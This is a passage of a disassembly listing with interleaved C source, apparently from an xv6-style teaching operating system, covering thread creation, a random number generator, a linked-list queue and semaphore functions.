1c0d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c14: e8 3c fb ff ff call 1755 <printf>
return 0;
1c19: b8 00 00 00 00 mov $0x0,%eax
1c1e: eb 2a jmp 1c4a <thread_create+0xcc>
}
if(tid > 0){
1c20: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1c24: 7e 05 jle 1c2b <thread_create+0xad>
//store threads on thread table
return garbage_stack;
1c26: 8b 45 f4 mov -0xc(%ebp),%eax
1c29: eb 1f jmp 1c4a <thread_create+0xcc>
}
if(tid == 0){
1c2b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1c2f: 75 14 jne 1c45 <thread_create+0xc7>
printf(1,"tid = 0 return \n");
1c31: c7 44 24 04 c4 1e 00 movl $0x1ec4,0x4(%esp)
1c38: 00
1c39: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c40: e8 10 fb ff ff call 1755 <printf>
}
// wait();
// free(garbage_stack);
return 0;
1c45: b8 00 00 00 00 mov $0x0,%eax
}
1c4a: c9 leave
1c4b: c3 ret
00001c4c <random>:
// generate 0 -> max random number exclude max.
int random(int max){
1c4c: 55 push %ebp
1c4d: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
1c4f: a1 ec 1e 00 00 mov 0x1eec,%eax
1c54: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
1c5a: 05 69 f3 6e 3c add $0x3c6ef369,%eax
1c5f: a3 ec 1e 00 00 mov %eax,0x1eec
return (int)(rands % max);
1c64: a1 ec 1e 00 00 mov 0x1eec,%eax
1c69: 8b 4d 08 mov 0x8(%ebp),%ecx
1c6c: ba 00 00 00 00 mov $0x0,%edx
1c71: f7 f1 div %ecx
1c73: 89 d0 mov %edx,%eax
}
1c75: 5d pop %ebp
1c76: c3 ret
1c77: 90 nop
00001c78 <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
1c78: 55 push %ebp
1c79: 89 e5 mov %esp,%ebp
q->size = 0;
1c7b: 8b 45 08 mov 0x8(%ebp),%eax
1c7e: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
1c84: 8b 45 08 mov 0x8(%ebp),%eax
1c87: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1c8e: 8b 45 08 mov 0x8(%ebp),%eax
1c91: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
1c98: 5d pop %ebp
1c99: c3 ret
00001c9a <add_q>:
void add_q(struct queue *q, int v){
1c9a: 55 push %ebp
1c9b: 89 e5 mov %esp,%ebp
1c9d: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
1ca0: c7 04 24 08 00 00 00 movl $0x8,(%esp)
1ca7: e8 8f fd ff ff call 1a3b <malloc>
1cac: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
1caf: 8b 45 f4 mov -0xc(%ebp),%eax
1cb2: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
1cb9: 8b 45 f4 mov -0xc(%ebp),%eax
1cbc: 8b 55 0c mov 0xc(%ebp),%edx
1cbf: 89 10 mov %edx,(%eax)
if(q->head == 0){
1cc1: 8b 45 08 mov 0x8(%ebp),%eax
1cc4: 8b 40 04 mov 0x4(%eax),%eax
1cc7: 85 c0 test %eax,%eax
1cc9: 75 0b jne 1cd6 <add_q+0x3c>
q->head = n;
1ccb: 8b 45 08 mov 0x8(%ebp),%eax
1cce: 8b 55 f4 mov -0xc(%ebp),%edx
1cd1: 89 50 04 mov %edx,0x4(%eax)
1cd4: eb 0c jmp 1ce2 <add_q+0x48>
}else{
q->tail->next = n;
1cd6: 8b 45 08 mov 0x8(%ebp),%eax
1cd9: 8b 40 08 mov 0x8(%eax),%eax
1cdc: 8b 55 f4 mov -0xc(%ebp),%edx
1cdf: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
1ce2: 8b 45 08 mov 0x8(%ebp),%eax
1ce5: 8b 55 f4 mov -0xc(%ebp),%edx
1ce8: 89 50 08 mov %edx,0x8(%eax)
q->size++;
1ceb: 8b 45 08 mov 0x8(%ebp),%eax
1cee: 8b 00 mov (%eax),%eax
1cf0: 8d 50 01 lea 0x1(%eax),%edx
1cf3: 8b 45 08 mov 0x8(%ebp),%eax
1cf6: 89 10 mov %edx,(%eax)
}
1cf8: c9 leave
1cf9: c3 ret
00001cfa <empty_q>:
int empty_q(struct queue *q){
1cfa: 55 push %ebp
1cfb: 89 e5 mov %esp,%ebp
if(q->size == 0)
1cfd: 8b 45 08 mov 0x8(%ebp),%eax
1d00: 8b 00 mov (%eax),%eax
1d02: 85 c0 test %eax,%eax
1d04: 75 07 jne 1d0d <empty_q+0x13>
return 1;
1d06: b8 01 00 00 00 mov $0x1,%eax
1d0b: eb 05 jmp 1d12 <empty_q+0x18>
else
return 0;
1d0d: b8 00 00 00 00 mov $0x0,%eax
}
1d12: 5d pop %ebp
1d13: c3 ret
00001d14 <pop_q>:
int pop_q(struct queue *q){
1d14: 55 push %ebp
1d15: 89 e5 mov %esp,%ebp
1d17: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
1d1a: 8b 45 08 mov 0x8(%ebp),%eax
1d1d: 89 04 24 mov %eax,(%esp)
1d20: e8 d5 ff ff ff call 1cfa <empty_q>
1d25: 85 c0 test %eax,%eax
1d27: 75 5d jne 1d86 <pop_q+0x72>
val = q->head->value;
1d29: 8b 45 08 mov 0x8(%ebp),%eax
1d2c: 8b 40 04 mov 0x4(%eax),%eax
1d2f: 8b 00 mov (%eax),%eax
1d31: 89 45 f0 mov %eax,-0x10(%ebp)
destroy = q->head;
1d34: 8b 45 08 mov 0x8(%ebp),%eax
1d37: 8b 40 04 mov 0x4(%eax),%eax
1d3a: 89 45 f4 mov %eax,-0xc(%ebp)
q->head = q->head->next;
1d3d: 8b 45 08 mov 0x8(%ebp),%eax
1d40: 8b 40 04 mov 0x4(%eax),%eax
1d43: 8b 50 04 mov 0x4(%eax),%edx
1d46: 8b 45 08 mov 0x8(%ebp),%eax
1d49: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
1d4c: 8b 45 f4 mov -0xc(%ebp),%eax
1d4f: 89 04 24 mov %eax,(%esp)
1d52: e8 b5 fb ff ff call 190c <free>
q->size--;
1d57: 8b 45 08 mov 0x8(%ebp),%eax
1d5a: 8b 00 mov (%eax),%eax
1d5c: 8d 50 ff lea -0x1(%eax),%edx
1d5f: 8b 45 08 mov 0x8(%ebp),%eax
1d62: 89 10 mov %edx,(%eax)
if(q->size == 0){
1d64: 8b 45 08 mov 0x8(%ebp),%eax
1d67: 8b 00 mov (%eax),%eax
1d69: 85 c0 test %eax,%eax
1d6b: 75 14 jne 1d81 <pop_q+0x6d>
q->head = 0;
1d6d: 8b 45 08 mov 0x8(%ebp),%eax
1d70: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1d77: 8b 45 08 mov 0x8(%ebp),%eax
1d7a: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
1d81: 8b 45 f0 mov -0x10(%ebp),%eax
1d84: eb 05 jmp 1d8b <pop_q+0x77>
}
return -1;
1d86: b8 ff ff ff ff mov $0xffffffff,%eax
}
1d8b: c9 leave
1d8c: c3 ret
1d8d: 90 nop
1d8e: 90 nop
1d8f: 90 nop
00001d90 <sem_acquire>:
#include "semaphore.h"
void sem_acquire(struct Semaphore *s)
{
1d90: 55 push %ebp
1d91: 89 e5 mov %esp,%ebp
1d93: 83 ec 18 sub $0x18,%esp
lock_acquire(&s->lock);
1d96: 8b 45 08 mov 0x8(%ebp),%eax
1d99: 89 04 24 mov %eax,(%esp)
1d9c: e8 a3 fd ff ff call 1b44 <lock_acquire>
s->count--;
1da1: 8b 45 08 mov 0x8(%ebp),%eax
1da4: 8b 40 04 mov 0x4(%eax),%eax
1da7: 8d 50 ff lea -0x1(%eax),%edx
1daa: 8b 45 08 mov 0x8(%ebp),%eax
1dad: 89 50 04 mov %edx,0x4(%eax)
if( s->count < 0)
1db0: 8b 45 08 mov 0x8(%ebp),%eax
1db3: 8b 40 04 mov 0x4(%eax),%eax
1db6: 85 c0 test %eax,%eax
1db8: 79 27 jns 1de1 <sem_acquire+0x51>
{
add_q(&s->q, getpid());
1dba: e8 75 f8 ff ff call 1634 <getpid>
1dbf: 8b 55 08 mov 0x8(%ebp),%edx
1dc2: 83 c2 08 add $0x8,%edx
1dc5: 89 44 24 04 mov %eax,0x4(%esp)
1dc9: 89 14 24 mov %edx,(%esp)
1dcc: e8 c9 fe ff ff call 1c9a <add_q>
lock_release(&s->lock);
1dd1: 8b 45 08 mov 0x8(%ebp),%eax
1dd4: 89 04 24 mov %eax,(%esp)
1dd7: e8 87 fd ff ff call 1b63 <lock_release>
tsleep();
1ddc: e8 83 f8 ff ff call 1664 <tsleep>
}
lock_release(&s->lock);
1de1: 8b 45 08 mov 0x8(%ebp),%eax
1de4: 89 04 24 mov %eax,(%esp)
1de7: e8 77 fd ff ff call 1b63 <lock_release>
}
1dec: c9 leave
1ded: c3 ret
00001dee <sem_signal>:
void sem_signal(struct Semaphore *s)
{
1dee: 55 push %ebp
1def: 89 e5 mov %esp,%ebp
1df1: 83 ec 28 sub $0x28,%esp
lock_acquire(&s->lock);
1df4: 8b 45 08 mov 0x8(%ebp),%eax
1df7: 89 04 24 mov %eax,(%esp)
1dfa: e8 45 fd ff ff call 1b44 <lock_acquire>
s->count++;
1dff: 8b 45 08 mov 0x8(%ebp),%eax
1e02: 8b 40 04 mov 0x4(%eax),%eax
1e05: 8d 50 01 lea 0x1(%eax),%edx
1e08: 8b 45 08 mov 0x8(%ebp),%eax
1e0b: 89 50 04 mov %edx,0x4(%eax)
if( s->count <= 0)
1e0e: 8b 45 08 mov 0x8(%ebp),%eax
1e11: 8b 40 04 mov 0x4(%eax),%eax
1e14: 85 c0 test %eax,%eax
1e16: 7f 1c jg 1e34 <sem_signal+0x46>
{
int tid = pop_q(&s->q);
1e18: 8b 45 08 mov 0x8(%ebp),%eax
1e1b: 83 c0 08 add $0x8,%eax
1e1e: 89 04 24 mov %eax,(%esp)
1e21: e8 ee fe ff ff call 1d14 <pop_q>
1e26: 89 45 f4 mov %eax,-0xc(%ebp)
twakeup(tid);
1e29: 8b 45 f4 mov -0xc(%ebp),%eax
1e2c: 89 04 24 mov %eax,(%esp)
1e2f: e8 38 f8 ff ff call 166c <twakeup>
}
lock_release(&s->lock);
1e34: 8b 45 08 mov 0x8(%ebp),%eax
1e37: 89 04 24 mov %eax,(%esp)
1e3a: e8 24 fd ff ff call 1b63 <lock_release>
}
1e3f: c9 leave
1e40: c3 ret
00001e41 <sem_init>:
void sem_init(struct Semaphore *s, int size){
1e41: 55 push %ebp
1e42: 89 e5 mov %esp,%ebp
1e44: 83 ec 18 sub $0x18,%esp
lock_init(&s->lock);
1e47: 8b 45 08 mov 0x8(%ebp),%eax
1e4a: 89 04 24 mov %eax,(%esp)
1e4d: e8 e4 fc ff ff call 1b36 <lock_init>
s->count = size;
1e52: 8b 45 08 mov 0x8(%ebp),%eax
1e55: 8b 55 0c mov 0xc(%ebp),%edx
1e58: 89 50 04 mov %edx,0x4(%eax)
init_q(&s->q);
1e5b: 8b 45 08 mov 0x8(%ebp),%eax
1e5e: 83 c0 08 add $0x8,%eax
1e61: 89 04 24 mov %eax,(%esp)
1e64: e8 0f fe ff ff call 1c78 <init_q>
}
1e69: c9 leave
1e6a: c3 ret
| 37.376174
| 64
| 0.425356
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.